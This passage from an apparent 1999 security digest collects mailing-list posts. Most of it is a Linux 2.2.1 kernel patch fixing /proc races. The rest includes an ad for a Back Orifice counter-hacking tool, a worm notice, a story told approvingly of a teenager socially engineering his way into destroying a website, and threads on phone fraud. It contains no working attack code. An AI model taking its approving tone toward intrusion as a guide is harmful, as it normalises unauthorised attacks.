  2961.     @@ -1015 +1034 @@
  2962.     -                       pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start);
  2963.     +                       pgd_t *pgd = pgd_offset(mm, vma->vm_start);
  2964.     @@ -1032,0 +1052 @@
  2965.     +               release_mm(mm);
  2966.     @@ -1070 +1089,0 @@
  2967.     -
  2968.     @@ -1074 +1093,2 @@
  2969.     -       struct task_struct *p;
  2970.     +       struct task_struct * p;
  2971.     +       struct mm_struct * mm;
  2972.     @@ -1079 +1098,0 @@
  2973.     -       int volatile_task;
  2974.     @@ -1091,3 +1110 @@
  2975.     -       read_lock(&tasklist_lock);
  2976.     -       p = find_task_by_pid(pid);
  2977.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2978.     +       p = grab_task(pid, &mm);
  2979.     @@ -1097 +1114 @@
  2980.     -       if (!p->mm || p->mm == &init_mm || count == 0)
  2981.     +       if (!mm || count == 0)
  2982.     @@ -1100,3 +1116,0 @@
  2983.     -       /* Check whether the mmaps could change if we sleep */
  2984.     -       volatile_task = (p != current || atomic_read(&p->mm->count) > 1);
  2985.     -
  2986.     @@ -1108 +1122 @@
  2987.     -       for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
  2988.     +       for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
  2989.     @@ -1179,6 +1192,0 @@
  2990.     -
  2991.     -               /* By writing to user space, we might have slept.
  2992.     -                * Stop the loop, to avoid a race condition.
  2993.     -                */
  2994.     -               if (volatile_task)
  2995.     -                       break;
  2996.     @@ -1190,0 +1199 @@
  2997.     +       release_task(p, mm);
  2998.     @@ -1202 +1211,2 @@
  2999.     -       struct task_struct * tsk = current ;
  3000.     +       struct task_struct * tsk;
  3001.     +       struct mm_struct * mm;
  3002.     @@ -1205,6 +1215,2 @@
  3003.     -       read_lock(&tasklist_lock);
  3004.     -       if (pid != tsk->pid)
  3005.     -               tsk = find_task_by_pid(pid);
  3006.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3007.     -
  3008.     -       if (tsk == NULL)
  3009.     +       tsk = grab_task(pid, &mm);
  3010.     +       if (!tsk)
  3011.     @@ -1223,0 +1230 @@
  3012.     +       release_task(tsk, mm);
  3013.     
  3014.     
  3015.     Andrea Arcangeli
  3016.     
  3017.     
  3018.     -
  3019.     To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
  3020.     the body of a message to majordomo@vger.rutgers.edu
  3021.     Please read the FAQ at http://www.tux.org/lkml/
  3022.     
  3023.     --------------------------------------------------------------------------------
  3024.     
  3025.     Date: Thu, 4 Feb 1999 15:09:06 +0100
  3026.     From: Andrea Arcangeli <andrea@e-mind.com>
  3027.     To: BUGTRAQ@netspace.org
  3028.     Subject: Re: [patch] /proc race fixes for 2.2.1 (fwd)
  3029.     
  3030.     On Tue, 2 Feb 1999, Andrea Arcangeli wrote:
  3031.     
  3032.     > Side note: I hope to have diffed all the interesting changes from my tree
  3033.     > to 2.2.1 at the end of the email (I don't have the time to check). If for
  3034.     
  3035.     Woops I had a bug in the patch. The bug is that when the task to grab is
  3036.     the current one we must not get the mmap_semaphore otherwise we left a
  3037.     window open for deadlocking on it.
  3038.     
  3039.     Here the fixed patch against 2.2.1 again.
  3040.     
  3041.     Index: array.c
  3042.     ===================================================================
  3043.     RCS file: /var/cvs/linux/fs/proc/array.c,v
  3044.     retrieving revision 1.1.1.5
  3045.     diff -u -r1.1.1.5 array.c
  3046.     --- array.c     1999/01/29 14:50:53     1.1.1.5
  3047.     +++ linux/fs/proc/array.c       1999/02/04 13:59:26
  3048.     @@ -386,21 +386,57 @@
  3049.             return sprintf(buffer, "%s\n", saved_command_line);
  3050.      }
  3051.     
  3052.     -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr)
  3053.     +/*
  3054.     + * Caller must release_mm the mm_struct later.
  3055.     + * You don't get any access to init_mm.
  3056.     + */
  3057.     +static struct mm_struct * grab_mm(int pid)
  3058.     +{
  3059.     +       struct mm_struct * mm;
  3060.     +       struct task_struct * tsk;
  3061.     +
  3062.     +       if (current->pid == pid)
  3063.     +               return current->mm;
  3064.     +
  3065.     +       mm = NULL;
  3066.     +       read_lock(&tasklist_lock);
  3067.     +       tsk = find_task_by_pid(pid);
  3068.     +       /*
  3069.     +        * NOTE: this doesn't race because we are protected by the
  3070.     +        * big kernel lock. -arca
  3071.     +        */
  3072.     +       if (tsk && tsk->mm && tsk->mm != &init_mm)
  3073.     +               mmget(mm = tsk->mm);
  3074.     +       read_unlock(&tasklist_lock);
  3075.     +       if (mm)
  3076.     +               down(&mm->mmap_sem);
  3077.     +       return mm;
  3078.     +}
  3079.     +
  3080.     +static void release_mm(struct mm_struct *mm)
  3081.      {
  3082.     +       if (current->mm != mm)
  3083.     +       {
  3084.     +               up(&mm->mmap_sem);
  3085.     +               mmput(mm);
  3086.     +       }
  3087.     +}
  3088.     +
  3089.     +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr)
  3090.     +{
  3091.             pgd_t *page_dir;
  3092.             pmd_t *page_middle;
  3093.             pte_t pte;
  3094.     
  3095.     -       if (!p || !p->mm || ptr >= TASK_SIZE)
  3096.     +       if (ptr >= TASK_SIZE)
  3097.                     return 0;
  3098.             /* Check for NULL pgd .. shouldn't happen! */
  3099.     -       if (!p->mm->pgd) {
  3100.     -               printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid);
  3101.     +       if (!mm->pgd) {
  3102.     +               printk(KERN_DEBUG "missing pgd for mm %p\n", mm);
  3103.                     return 0;
  3104.             }
  3105.     
  3106.     -       page_dir = pgd_offset(p->mm,ptr);
  3107.     +       page_dir = pgd_offset(mm,ptr);
  3108.             if (pgd_none(*page_dir))
  3109.                     return 0;
  3110.             if (pgd_bad(*page_dir)) {
  3111.     @@ -422,7 +458,7 @@
  3112.             return pte_page(pte) + (ptr & ~PAGE_MASK);
  3113.      }
  3114.     
  3115.     -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer)
  3116.     +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer)
  3117.      {
  3118.             unsigned long addr;
  3119.             int size = 0, result = 0;
  3120.     @@ -431,7 +467,7 @@
  3121.             if (start >= end)
  3122.                     return result;
  3123.             for (;;) {
  3124.     -               addr = get_phys_addr(p, start);
  3125.     +               addr = get_phys_addr(mm, start);
  3126.                     if (!addr)
  3127.                             return result;
  3128.                     do {
  3129.     @@ -453,27 +489,28 @@
  3130.     
  3131.      static int get_env(int pid, char * buffer)
  3132.      {
  3133.     -       struct task_struct *p;
  3134.     -       
  3135.     -       read_lock(&tasklist_lock);
  3136.     -       p = find_task_by_pid(pid);
  3137.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3138.     +       struct mm_struct *mm;
  3139.     +       int res = 0;
  3140.     
  3141.     -       if (!p || !p->mm)
  3142.     -               return 0;
  3143.     -       return get_array(p, p->mm->env_start, p->mm->env_end, buffer);
  3144.     +       mm = grab_mm(pid);
  3145.     +       if (mm) {
  3146.     +               res = get_array(mm, mm->env_start, mm->env_end, buffer);
  3147.     +               release_mm(mm);
  3148.     +       }
  3149.     +       return res;
  3150.      }
  3151.     
  3152.      static int get_arg(int pid, char * buffer)
  3153.      {
  3154.     -       struct task_struct *p;
  3155.     +       struct mm_struct *mm;
  3156.     +       int res = 0;
  3157.     
  3158.     -       read_lock(&tasklist_lock);
  3159.     -       p = find_task_by_pid(pid);
  3160.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3161.     -       if (!p || !p->mm)
  3162.     -               return 0;
  3163.     -       return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer);
  3164.     +       mm = grab_mm(pid);
  3165.     +       if (mm) {
  3166.     +               res = get_array(mm, mm->arg_start, mm->arg_end, buffer);
  3167.     +               release_mm(mm);
  3168.     +       }
  3169.     +       return res;
  3170.      }
  3171.     
  3172.      /*
  3173.     @@ -722,12 +759,10 @@
  3174.             return buffer;
  3175.      }
  3176.     
  3177.     -static inline char * task_mem(struct task_struct *p, char *buffer)
  3178.     +static inline char * task_mem(struct mm_struct * mm, char *buffer)
  3179.      {
  3180.     -       struct mm_struct * mm = p->mm;
  3181.     -
  3182.     -       if (mm && mm != &init_mm) {
  3183.     -               struct vm_area_struct * vma = mm->mmap;
  3184.     +       if (mm) {
  3185.     +               struct vm_area_struct * vma;
  3186.                     unsigned long data = 0, stack = 0;
  3187.                     unsigned long exec = 0, lib = 0;
  3188.     
  3189.     @@ -817,47 +852,96 @@
  3190.                                 cap_t(p->cap_effective));
  3191.      }
  3192.     
  3193.     +static struct task_struct *grab_task(int pid, struct mm_struct ** mm)
  3194.     +{
  3195.     +       struct task_struct *tsk = current;
  3196.     +       
  3197.     +       if (current->pid == pid)
  3198.     +       {
  3199.     +               *mm = current->mm;
  3200.     +               return current;
  3201.     +       }
  3202.     +
  3203.     +       *mm = NULL;
  3204.     +       read_lock(&tasklist_lock);
  3205.     +       tsk = find_task_by_pid(pid);
  3206.     +       if (tsk)
  3207.     +       {
  3208.     +               struct mm_struct * __mm;
  3209.     +               struct page * page = mem_map + MAP_NR(tsk);
  3210.     +               atomic_inc(&page->count);
  3211.     +               /*
  3212.     +                * NOTE: this doesn't race because we are protected
  3213.     +                * by the big kernel lock. -arca
  3214.     +                */
  3215.     +               __mm = tsk->mm;
  3216.     +               if (__mm && __mm != &init_mm)
  3217.     +               {
  3218.     +                       mmget(__mm);
  3219.     +                       *mm = __mm;
  3220.     +               }
  3221.     +       }
  3222.     +       read_unlock(&tasklist_lock);
  3223.     +       if (*mm)
  3224.     +               down(&(*mm)->mmap_sem);
  3225.     +
  3226.     +       return tsk;
  3227.     +}
  3228.     +
  3229.     +static void release_task(struct task_struct *tsk, struct mm_struct * mm)
  3230.     +{
  3231.     +       if (current != tsk)
  3232.     +       {
  3233.     +               if (mm)
  3234.     +               {
  3235.     +                       up(&mm->mmap_sem);
  3236.     +                       mmput(mm);
  3237.     +               }
  3238.     +               free_pages((unsigned long) tsk, 1);
  3239.     +       }
  3240.     +}
  3241.     
  3242.      static int get_status(int pid, char * buffer)
  3243.      {
  3244.             char * orig = buffer;
  3245.             struct task_struct *tsk;
  3246.     -
  3247.     -       read_lock(&tasklist_lock);
  3248.     -       tsk = find_task_by_pid(pid);
  3249.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3250.     +       struct mm_struct * mm;
  3251.     +       
  3252.     +       tsk = grab_task(pid, &mm);
  3253.             if (!tsk)
  3254.                     return 0;
  3255.             buffer = task_name(tsk, buffer);
  3256.             buffer = task_state(tsk, buffer);
  3257.     -       buffer = task_mem(tsk, buffer);
  3258.     +       buffer = task_mem(mm, buffer);
  3259.             buffer = task_sig(tsk, buffer);
  3260.             buffer = task_cap(tsk, buffer);
  3261.     +       release_task(tsk, mm);
  3262.             return buffer - orig;
  3263.      }
  3264.     
  3265.      static int get_stat(int pid, char * buffer)
  3266.      {
  3267.             struct task_struct *tsk;
  3268.     +       struct mm_struct * mm;
  3269.             unsigned long vsize, eip, esp, wchan;
  3270.             long priority, nice;
  3271.             int tty_pgrp;
  3272.             sigset_t sigign, sigcatch;
  3273.             char state;
  3274.     +       int res;
  3275.     
  3276.     -       read_lock(&tasklist_lock);
  3277.     -       tsk = find_task_by_pid(pid);
  3278.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3279.     +       tsk = grab_task(pid, &mm);
  3280.             if (!tsk)
  3281.                     return 0;
  3282.             state = *get_task_state(tsk);
  3283.             vsize = eip = esp = 0;
  3284.     -       if (tsk->mm && tsk->mm != &init_mm) {
  3285.     -               struct vm_area_struct *vma = tsk->mm->mmap;
  3286.     -               while (vma) {
  3287.     +       if (mm) {
  3288.     +               struct vm_area_struct *vma;
  3289.     +
  3290.     +               for (vma = mm->mmap; vma; vma = vma->vm_next) {
  3291.                             vsize += vma->vm_end - vma->vm_start;
  3292.     -                       vma = vma->vm_next;
  3293.                     }
  3294.     +               
  3295.                     eip = KSTK_EIP(tsk);
  3296.                     esp = KSTK_ESP(tsk);
  3297.             }
  3298.     @@ -878,7 +962,7 @@
  3299.             nice = tsk->priority;
  3300.             nice = 20 - (nice * 20 + DEF_PRIORITY / 2) / DEF_PRIORITY;
  3301.     
  3302.     -       return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
  3303.     +       res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
  3304.      %lu %lu %lu %lu %lu %ld %ld %ld %ld %ld %ld %lu %lu %ld %lu %lu %lu %lu %lu \
  3305.      %lu %lu %lu %lu %lu %lu %lu %lu %d\n",
  3306.                     pid,
  3307.     @@ -904,11 +988,11 @@
  3308.                     tsk->it_real_value,
  3309.                     tsk->start_time,
  3310.                     vsize,
  3311.     -               tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */
  3312.     +               mm ? mm->rss : 0, /* you might want to shift this left 3 */
  3313.                     tsk->rlim ? tsk->rlim[RLIMIT_RSS].rlim_cur : 0,
  3314.     -               tsk->mm ? tsk->mm->start_code : 0,
  3315.     -               tsk->mm ? tsk->mm->end_code : 0,
  3316.     -               tsk->mm ? tsk->mm->start_stack : 0,
  3317.     +               mm ? mm->start_code : 0,
  3318.     +               mm ? mm->end_code : 0,
  3319.     +               mm ? mm->start_stack : 0,
  3320.                     esp,
  3321.                     eip,
  3322.                     /* The signal information here is obsolete.
  3323.     @@ -923,6 +1007,9 @@
  3324.                     tsk->nswap,
  3325.                     tsk->cnswap,
  3326.                     tsk->exit_signal);
  3327.     +
  3328.     +       release_task(tsk, mm);
  3329.     +       return res;
  3330.      }
  3331.                     
  3332.      static inline void statm_pte_range(pmd_t * pmd, unsigned long address, unsigned long size,
  3333.     @@ -1000,19 +1087,15 @@
  3334.     
  3335.      static int get_statm(int pid, char * buffer)
  3336.      {
  3337.     -       struct task_struct *tsk;
  3338.             int size=0, resident=0, share=0, trs=0, lrs=0, drs=0, dt=0;
  3339.     +       struct mm_struct *mm;
  3340.     
  3341.     -       read_lock(&tasklist_lock);
  3342.     -       tsk = find_task_by_pid(pid);
  3343.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3344.     -       if (!tsk)
  3345.     -               return 0;
  3346.     -       if (tsk->mm && tsk->mm != &init_mm) {
  3347.     -               struct vm_area_struct * vma = tsk->mm->mmap;
  3348.     +       mm = grab_mm(pid);
  3349.     +       if (mm) {
  3350.     +               struct vm_area_struct * vma = mm->mmap;
  3351.     
  3352.                     while (vma) {
  3353.     -                       pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start);
  3354.     +                       pgd_t *pgd = pgd_offset(mm, vma->vm_start);
  3355.                             int pages = 0, shared = 0, dirty = 0, total = 0;
  3356.     
  3357.                             statm_pgd_range(pgd, vma->vm_start, vma->vm_end, &pages, &shared, &dirty,
  3358.     &total);
  3359.     @@ -1030,6 +1113,7 @@
  3360.                                     drs += pages;
  3361.                             vma = vma->vm_next;
  3362.                     }
  3363.     +               release_mm(mm);
  3364.             }
  3365.             return sprintf(buffer,"%d %d %d %d %d %d %d\n",
  3366.                            size, resident, share, trs, lrs, drs, dt);
  3367.     @@ -1067,16 +1151,15 @@
  3368.     
  3369.      #define MAPS_LINE_MAX  MAPS_LINE_MAX8
  3370.     
  3371.     -
  3372.      static ssize_t read_maps (int pid, struct file * file, char * buf,
  3373.                               size_t count, loff_t *ppos)
  3374.      {
  3375.     -       struct task_struct *p;
  3376.     +       struct task_struct * p;
  3377.     +       struct mm_struct * mm;
  3378.             struct vm_area_struct * map, * next;
  3379.             char * destptr = buf, * buffer;
  3380.             loff_t lineno;
  3381.             ssize_t column, i;
  3382.     -       int volatile_task;
  3383.             long retval;
  3384.     
  3385.             /*
  3386.     @@ -1088,24 +1171,19 @@
  3387.                     goto out;
  3388.     
  3389.             retval = -EINVAL;
  3390.     -       read_lock(&tasklist_lock);
  3391.     -       p = find_task_by_pid(pid);
  3392.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3393.     +       p = grab_task(pid, &mm);
  3394.             if (!p)
  3395.                     goto freepage_out;
  3396.     
  3397.     -       if (!p->mm || p->mm == &init_mm || count == 0)
  3398.     +       if (!mm || count == 0)
  3399.                     goto getlen_out;
  3400.     
  3401.     -       /* Check whether the mmaps could change if we sleep */
  3402.     -       volatile_task = (p != current || atomic_read(&p->mm->count) > 1);
  3403.     -
  3404.             /* decode f_pos */
  3405.             lineno = *ppos >> MAPS_LINE_SHIFT;
  3406.             column = *ppos & (MAPS_LINE_LENGTH-1);
  3407.     
  3408.             /* quickly go to line lineno */
  3409.     -       for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
  3410.     +       for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
  3411.                     continue;
  3412.     
  3413.             for ( ; map ; map = next ) {
  3414.     @@ -1176,18 +1254,13 @@
  3415.                     /* done? */
  3416.                     if (count == 0)
  3417.                             break;
  3418.     -
  3419.     -               /* By writing to user space, we might have slept.
  3420.     -                * Stop the loop, to avoid a race condition.
  3421.     -                */
  3422.     -               if (volatile_task)
  3423.     -                       break;
  3424.             }
  3425.     
  3426.             /* encode f_pos */
  3427.             *ppos = (lineno << MAPS_LINE_SHIFT) + column;
  3428.     
  3429.      getlen_out:
  3430.     +       release_task(p, mm);
  3431.             retval = destptr - buf;
  3432.     
  3433.      freepage_out:
  3434.     @@ -1199,15 +1272,12 @@
  3435.      #ifdef __SMP__
  3436.      static int get_pidcpu(int pid, char * buffer)
  3437.      {
  3438.     -       struct task_struct * tsk = current ;
  3439.     +       struct task_struct * tsk;
  3440.     +       struct mm_struct * mm;
  3441.             int i, len;
  3442.     -
  3443.     -       read_lock(&tasklist_lock);
  3444.     -       if (pid != tsk->pid)
  3445.     -               tsk = find_task_by_pid(pid);
  3446.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  3447.     
  3448.     -       if (tsk == NULL)
  3449.     +       tsk = grab_task(pid, &mm);
  3450.     +       if (!tsk)
  3451.                     return 0;
  3452.     
  3453.             len = sprintf(buffer,
  3454.     @@ -1221,6 +1291,7 @@
  3455.                             tsk->per_cpu_utime[cpu_logical_map(i)],
  3456.                             tsk->per_cpu_stime[cpu_logical_map(i)]);
  3457.     
  3458.     +       release_task(tsk, mm);
  3459.             return len;
  3460.      }
  3461.      #endif
  3462.     
  3463.     
  3464.     Excuse me for the mistake. I noticed the bug only some mintues ago.
  3465.     
  3466.     Andrea Arcangeli
  3467.     
  3468.     //////////////////////////////////////////////////////////////////////////
  3469.  
  3470.     From: "Jammer Developers Team" <jammer@mail.ru>
  3471.     To: <Undisclosed.Recipients@camel.mail.ru>
  3472.     Subject: Jammer - the complete protection against BO
  3473.     Date: Mon, 1 Feb 1999 04:48:12 +0300
  3474.     MIME-Version: 1.0
  3475.     Content-Type: text/plain;
  3476.         charset="koi8-r"
  3477.     Content-Transfer-Encoding: 7bit
  3478.     X-Priority: 3
  3479.     X-MSMail-Priority: Normal
  3480.     X-Mailer: Microsoft Outlook Express 4.72.3110.5
  3481.     X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
  3482.     
  3483.     The Jammer does monitor ALL UDP traffic on your computer, so you can sleep
  3484.     well & have all passwords of miserable hackers.
  3485.     
  3486.     When the Jammer program gets the BO request packet it starts the decryption
  3487.     process & generates the workable password of BO server. At the end of
  3488.     decryption the program puts the password string into the readable file on
  3489.     your hard disk & sends the warring massage toward the source about the
  3490.     Jammer protection.
  3491.     
  3492.     The Jammer works with low level network driver & always communicates with
  3493.     Network Driver Interface Specification (NDIS), unlike Nuke Nabber, NoBo and
  3494.     BOFreeze (they use the higher level such as Winsock).
  3495.     
  3496.     
  3497.     Jammer Developers Team
  3498.     http://start.at/jammer
  3499.    
  3500.    //////////////////////////////////////////////////////////////////////////
  3501.  
  3502.     Approved-By: Russ.Cooper@RC.ON.CA
  3503.     Received: from ae023019 ([194.65.152.123]) by ANTARTICO.mail.telepac.pt
  3504.               (Intermail v3.1 117 241) with SMTP id
  3505.               <19990201105748.WNL20839@[194.65.152.123]> for
  3506.               <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>; Mon, 1 Feb 1999 10:57:48 +0000
  3507.     MIME-Version: 1.0
  3508.     Content-Type: text/plain; charset="Windows-1252"
  3509.     Content-Transfer-Encoding: 8bit
  3510.     X-Priority: 3 (Normal)
  3511.     X-MSMail-Priority: Normal
  3512.     X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
  3513.     X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
  3514.     Importance: Normal
  3515.     Message-ID:  <000a01be4dd1$c93c04d0$131710ac@paginasamarelas.pt>
  3516.     Date:         Mon, 1 Feb 1999 10:56:34 -0000
  3517.     Reply-To: ruipmartins@mail.telepac.pt
  3518.     Sender: Windows NT BugTraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>
  3519.     From: Firstname Lastname <ruipmartins@mail.telepac.pt>
  3520.     Subject:      AutoStart Mac Worm in NT volumes
  3521.     To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  3522.     
  3523.     Just FYI:
  3524.     
  3525.     The well know and dangerous MacOS worm AutoStart is capable of installing
  3526.     itself on Windows NT Server MacVolumes. If you have a "Deldb" file on the
  3527.     root of that volume you should have that worm.
  3528.     
  3529.     The worm is not visible to any Wintel anti-virus software, but the virus
  3530.     file can be seen in the root of the Windows NT Server machine, and can be
  3531.     deleted.
  3532.     
  3533.     
  3534.     Rui Pedro Patricio Cabrita Martins
  3535.     TΘcnico de Sistemas
  3536.     ruipmartins@mail.telepac.pt
  3537.     rmartins@paginasamarelas.pt
  3538.     bip: 094468-802571
  3539.     -------------------------------------------------------------------------
  3540.     | Criando conte·do em portuguΩs:
  3541.     |
  3542.     | http://members.tripod.com/~ruipmartins/index.html
  3543.     |        As Ilhas Mφticas do AtlΓntico
  3544.     | http://www.terravista.pt/Ancora/1212/index.htm
  3545.     |        As Armas Secretas da Alemanha na II Grande Guerra
  3546.     | http://www.geocities.com/Athens/Forum/3257/index.htm
  3547.     |        A Primeira Fase dos Descobrimentos Portugueses
  3548.     
  3549.     -=-
  3550.     //////////////////////////////////////////////////////////////////////////
  3551.     
  3552.     Delivered-To dok-cruciphux@dok.org
  3553.     Received (qmail 28028 invoked from network); 31 Jan 1999 223603 -0000
  3554.     Received from merde.dis.org (majordomo@206.14.78.2)
  3555.       by physical.graffiti.datacrest.com with SMTP; 31 Jan 1999 223603 -0000
  3556.     Received (from majordomo@localhost) by merde.dis.org (8.8.7/8.6.11) id MAA23918 for dc-stuff-outgoing; Sun, 31 Jan 1999 123424 -0800 (PST)
  3557.     Message-ID <36B4BE1D.F0923332@datashopper.dk>
  3558.     Date Sun, 31 Jan 1999 213333 +0100
  3559.     From Bo Elkjaer <boo@Datashopper.Dk>
  3560.     X-Mailer Mozilla 4.05 [en] (Win95; U)
  3561.     MIME-Version 1.0
  3562.     To dc-stuff@dis.org
  3563.     Subject Israeli schoolboy destroys Iraqi internet site
  3564.     Content-Type text/plain; charset=iso-8859-1
  3565.     Content-Transfer-Encoding 8bit
  3566.     Sender owner-dc-stuff@dis.org
  3567.     Precedence bulk
  3568.     X-forward-loop dc-stuff
  3569.     Reply-To Bo Elkjaer <boo@Datashopper.Dk>
  3570.     X-Comment   TO UNSUBSCRIBE email "unsubscribe dc-stuff" to majordomo@dis.org
  3571.     X-Comment   Lonely? Need a friend and lover? email jeffy@defcon.org
  3572.     X-Comment   tired of typing? call the Defcon Voice Bridge    801-855-3326
  3573.     X-Copyright This message is Copyright all rights reserved unless expressly limited
  3574.     X-No-Archive yes
  3575.     Restrict no-external-archive
  3576.     
  3577.     Israeli schoolboy destroys Iraqi internet site
  3578.     TEL AVIV, Jan 31 (AFP) - A 14-year-old Israeli computer nut has
  3579.     penetrated and destroyed an Iraqi government site on the internet, the
  3580.     daily Yediot Aharonot reported Sunday.
  3581.     
  3582.     "I read about the site in a computer magazine, and it bugged me," Nir
  3583.     Zigdon told the paper. "I thought that if Israel is afraid to eliminate
  3584.     (Iraqi President) Saddam Hussein, I could at least destroy his computer
  3585.     sites."
  3586.     
  3587.     He said he got into the site by persuading its manager that he was a
  3588.     young Palestinianwho had developed a programme for wiping Israeli sites.
  3589.     
  3590.     "It convinced them, and then I was able to destroy it," he said.
  3591.     
  3592.     The next day Zigdon received a "furious" email signed by the site
  3593.     manager, which he printed out and pinned proudly to his wall. Zigdon has
  3594.     been computer crazy since he was four, helped by his father, a teacher
  3595.     and consultant for a high-tech company.
  3596.     
  3597.     http//www.yahoo.com.sg/headlines/310199/technology/917782320-90131123253.technology.html
  3598.     
  3599.     Boo
  3600.     --
  3601.     ULOVLIG KRYPTO-EKSPORT PÃ… BLOT TRE LINIER
  3602.     #!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
  3603.     $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
  3604.     lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
  3605.     
  3606.     -=-
  3607.     
  3608.         Subject:   intel to ID chips
  3609.         Date:    Wed, 20 Jan 1999 13:29:38 -0700
  3610.         From:   sholden@omnipoint.com
  3611.         To:     dc-stuff@dis.org
  3612.     
  3613.         http://www.zdnet.com/zdnn/stories/news/0,4586,2189721,00.html
  3614.     
  3615.         [..]
  3616.         the plan calls for Intel to put a machine-specific ID and a random number
  3617.        generator in every processor, said sources familiar with the plans.  The
  3618.        random number generator will aid e-commerce by allowing PCs to encrypt data
  3619.        more securely while the ID numbers will allow merchants to verify a user's
  3620.        identity and prevent stolen PCs from getting on the Internet.
  3621.        [..]
  3622.        ---
  3623.       Any personal opinions expressed herein do not necessarily represent
  3624.       those of Omnipoint Technologies, Inc.*
  3625.       -=-
  3626.     
  3627.        Subject:    Re: Cellular Fraud
  3628.        Date:   Wed, 20 Jan 1999 13:22:41 -0600 (CST)
  3629.        From:   maas <masong@post.cis.smu.edu>
  3630.          To:    "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov>
  3631.         CC:     Defcon Stuff <dc-stuff@dis.org>
  3632.     
  3633.        On Tue, 19 Jan 1999, Jay D. Dyson wrote:
  3634.        >       Fraud divisions of phone companies aren't very hip to finding
  3635.        > vulnerabilities in their own systems.  I learned that one the hard way
  3636.        > after my phones were shut off by parties unauthorized.  And when I
  3637.        > initiated an investigation into that incident, I learned that the entire
  3638.        > incident of my phones being shut off was wiped out of my phone company's
  3639.        > logs.  Pretty fair indication that their security was nonexistent, but it
  3640.        > raised no alarm with the people at the helm of the fraud department.  They
  3641.        > "knew" their system was "secure," so who the heck was I to claim otherwise?
  3642.        > At that point, I knew I'd be better off just pounding sand.
  3643.     
  3644.        I have a feeling cost plays a role in this.  The cost to hunt down a 
  3645.       couple punk kids who know how to tumble neumber will far outweigh what it 
  3646.        costs them to just forget about it.  The same kind of thing tends to 
  3647.        happen when you tell people that thier box has been hacked and is being 
  3648.        used to spam the shit out of you.  At the most, they will re-install the 
  3649.        OS and that is that.  When they get hacked again next week they will do 
  3650.        it all over again, becuase taking the time to go and find the peopel 
  3651.        responsible is just too dificult and costly for them.
  3652.      
  3653.       -=-
  3654.     
  3655.       Subject:    Re: Cellular Fraud
  3656.       Date:    Wed, 20 Jan 1999 11:30:48 -0800 (PST)
  3657.       From:     "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov>
  3658.       Organization:    NASA Jet Propulsion Laboratory
  3659.       To:    Defcon Stuff <dc-stuff@dis.org>
  3660.       
  3661.       -----BEGIN PGP SIGNED MESSAGE-----
  3662.     
  3663.       On Wed, 20 Jan 1999, maas wrote:
  3664.     
  3665.       > > Pretty fair indication that their security was nonexistent, but it
  3666.       > > raised no alarm with the people at the helm of the fraud department.  They
  3667.       > > "knew" their system was "secure," so who the heck was I to claim otherwise?
  3668.       > > At that point, I knew I'd be better off just pounding sand.
  3669.      > 
  3670.      > I have a feeling cost plays a role in this.  The cost to hunt down a
  3671.      > couple punk kids who know how to tumble neumber will far outweigh what
  3672.      > it costs them to just forget about it.
  3673.     
  3674.             I would tend to agree with your assessment.  I forget who said it
  3675.     first, but one truly has to be a little insane to seek justice.  The
  3676.     example used was a stolen briefcase worth $50.  One would have to shell
  3677.     out at least $1500 in court costs and lawyer fees just to get some justice
  3678.     out of the whole mess, so most folks would logically just write off the loss.
  3679.     
  3680.             I guess you could say that the number of laws of a nation is
  3681.     directly inverse to the amount of justice the average person gets.
  3682.     
  3683.     - -Jay
  3684.     
  3685.        (                                                             ______
  3686.        ))   .-- "There's always time for a good cup of coffee." --.   >===<--.
  3687.      C|~~| (>-- Jay D. Dyson -- jdyson@techreports.jpl.nasa.gov --<) |   = |-'
  3688.       `--'  `-- As a matter of fact, I *am* a rocket scientist. --'  `-----'
  3689.     
  3690.     -----BEGIN PGP SIGNATURE-----
  3691.     Version: 2.6.2
  3692.     
  3693.     iQCVAwUBNqYu6rl5qZylQQm1AQGqdgP+IliF9WbpY2I/yi8Sx3faectAbpyLSlXG
  3694.     kQ+Kl6JFgI6bQzy34JfU9u4r1P173Yko4HbwwL8Hqu6uZAKnX/Lwn/0XyBpB16ja
  3695.     KC6C9WrE2/CHaQURK/tirFemjOyUprtbFGWv+11Lf00B9rK8z2lBfPv05UAAGwHM
  3696.     TPzBe17WEgQ=
  3697.     =iw2/
  3698.     -----END PGP SIGNATURE-----
  3699.     
  3700.     -=-
  3701.      more www exploits:
